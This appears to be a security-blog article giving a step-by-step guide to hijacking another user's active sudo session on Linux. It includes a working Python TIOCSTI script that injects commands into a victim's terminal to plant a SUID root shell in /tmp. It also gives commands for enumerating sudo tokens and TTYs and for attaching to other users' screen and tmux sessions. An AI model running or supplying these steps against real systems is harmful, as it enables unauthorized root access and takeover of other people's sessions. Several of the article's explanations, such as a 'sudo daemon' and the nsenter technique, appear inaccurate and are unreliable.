Skip to content
HackIndex logo

HackIndex

Sudo Token Reuse – Hijacking Active Sudo Sessions

4 min read Jul 14, 2026

When a user runs sudo, the session token is cached in /var/run/sudo/ts/ for a configurable window (default 15 minutes). If another user's sudo token is still valid and you can access their TTY device, you can inject a command into their terminal that runs sudo without re-authentication. This requires no password and no exploit — only access to the TTY device file.

Prerequisites Check

Check if any user currently has an active sudo session:

┌──(kali㉿kali)-[~]
└─$ # List sudo timestamp files
┌──(kali㉿kali)-[~]
└─$ ls -la /var/run/sudo/ts/ 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Check if sudo is configured with a timeout
┌──(kali㉿kali)-[~]
└─$ sudo -l | grep -i "timestamp\|timeout"
┌──(kali㉿kali)-[~]
└─$ grep "timestamp_timeout" /etc/sudoers /etc/sudoers.d/* 2>/dev/null

A timestamp_timeout=0 means no caching — this technique does not apply. A value of -1 means the token never expires — even better for this technique.

Find users with active terminal sessions:

┌──(kali㉿kali)-[~]
└─$ who
┌──(kali㉿kali)-[~]
└─$ w
┌──(kali㉿kali)-[~]
└─$ ps aux | grep -E "bash|sh|zsh" | grep -v "^root\|^$USER" | head -10

Finding the Target TTY

Identify the terminal device of the user with the active sudo token:

┌──(kali㉿kali)-[~]
└─$ # See all logged-in users and their TTYs
┌──(kali㉿kali)-[~]
└─$ who
┌──(kali㉿kali)-[~]
└─$ # e.g. alice pts/1 2024-01-01 10:00
 
┌──(kali㉿kali)-[~]
└─$ # Find the process using that TTY
┌──(kali㉿kali)-[~]
└─$ ps aux | grep pts/1 | grep -v grep
 
┌──(kali㉿kali)-[~]
└─$ # Get the PID of their shell
┌──(kali㉿kali)-[~]
└─$ ps aux | grep alice | grep -E "bash|sh|zsh"

Check if you can write to their TTY device:

┌──(kali㉿kali)-[~]
└─$ ls -la /dev/pts/1
┌──(kali㉿kali)-[~]
└─$ # If group tty and you are in group tty, or world-writable:
┌──(kali㉿kali)-[~]
└─$ groups | grep tty

Technique 1 — TTY Injection via /proc/[pid]/fd

If you have write access to the TTY device or the user's /proc/[pid]/fd/0 (stdin), inject a command string:

# Get the target PID (their shell)
TARGET_PID=$(ps aux | grep alice | grep -E "bash|sh" | awk '{print $2}' | head -1)

# Check if their stdin fd is accessible
ls -la /proc/$TARGET_PID/fd/0 2>/dev/null

# Inject sudo command into their terminal
# This types the command as if they typed it
python3 -c "
import fcntl, termios, sys

target_pid = $TARGET_PID
fd = open(f'/proc/{target_pid}/fd/0', 'w')
for char in 'sudo cp /bin/bash /tmp/.rootbash; sudo chmod u+s /tmp/.rootbash\n':
    fcntl.ioctl(fd, termios.TIOCSTI, char.encode())
fd.close()
print('Injected')
"

TIOCSTI pushes characters into the terminal input queue as if the user typed them. The command executes in the context of the user's shell which still has a valid sudo token.

After injection:

┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p
┌──(kali㉿kali)-[~]
└─$ whoami

Technique 2 — nsenter + /proc/[pid]/fd/0

If nsenter is available and you can enter the target's namespace:

┌──(kali㉿kali)-[~]
└─$ # Enter the target user's namespace via their shell PID
┌──(kali㉿kali)-[~]
└─$ nsenter -t $TARGET_PID -m -u -i -n -p -- /bin/bash
 
┌──(kali㉿kali)-[~]
└─$ # Inside the namespace — if sudo token is valid
┌──(kali㉿kali)-[~]
└─$ sudo /bin/bash

This drops you into a shell within the same namespace as the target user. Their sudo token applies to your sudo call.

Technique 3 — screen Session Hijacking

If the user is running a screen session:

┌──(kali㉿kali)-[~]
└─$ # List active screen sessions
┌──(kali㉿kali)-[~]
└─$ screen -list 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls /var/run/screen/S-alice/ 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Check if socket is accessible
┌──(kali㉿kali)-[~]
└─$ ls -la /var/run/screen/S-alice/ 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Attach to their session
┌──(kali㉿kali)-[~]
└─$ screen -x alice/

If the multiuser flag is set on the screen session or permissions allow, you attach and share their interactive session. Their sudo token is available. Type your command and sudo works without a password.

Technique 4 — tmux Session Hijacking

┌──(kali㉿kali)-[~]
└─$ # List tmux sessions
┌──(kali㉿kali)-[~]
└─$ tmux list-sessions 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls /tmp/tmux-*/default 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Check socket permissions
┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/tmux-$(id -u $OTHER_USER)/
 
┌──(kali㉿kali)-[~]
└─$ # If accessible
┌──(kali㉿kali)-[~]
└─$ tmux -S /tmp/tmux-$OTHER_USER_ID/default attach

Checking sudo Token Timeout

Understand how long you have before the token expires:

┌──(kali㉿kali)-[~]
└─$ # Get the configured timeout
┌──(kali㉿kali)-[~]
└─$ sudo -l | grep -i timeout
┌──(kali㉿kali)-[~]
└─$ grep "timestamp_timeout" /etc/sudoers /etc/sudoers.d/* 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Check the timestamp file mtime — this shows when sudo was last used
┌──(kali㉿kali)-[~]
└─$ stat /var/run/sudo/ts/$TARGET_USER 2>/dev/null

Default is 15 minutes from the last sudo command. If the user just ran sudo and you act within that window, the token is valid.

Why This Works

sudo caches tokens per-TTY. When TIOCSTI injects characters into a terminal, the kernel processes them as real keystrokes — the sudo process authenticating them sees the same TTY as the token was issued for. The sudo daemon validates the TTY match and grants access without re-prompting.

TIOCSTI was restricted in Linux 6.2+ (requires CAP_SYS_ADMIN or tty_tiocsti capability). On older kernels (pre-6.2), any process that can open the TTY device file can inject.

Check kernel version:

┌──(kali㉿kali)-[~]
└─$ uname -r
┌──(kali㉿kali)-[~]
└─$ # < 6.2 = TIOCSTI available without special capabilities

References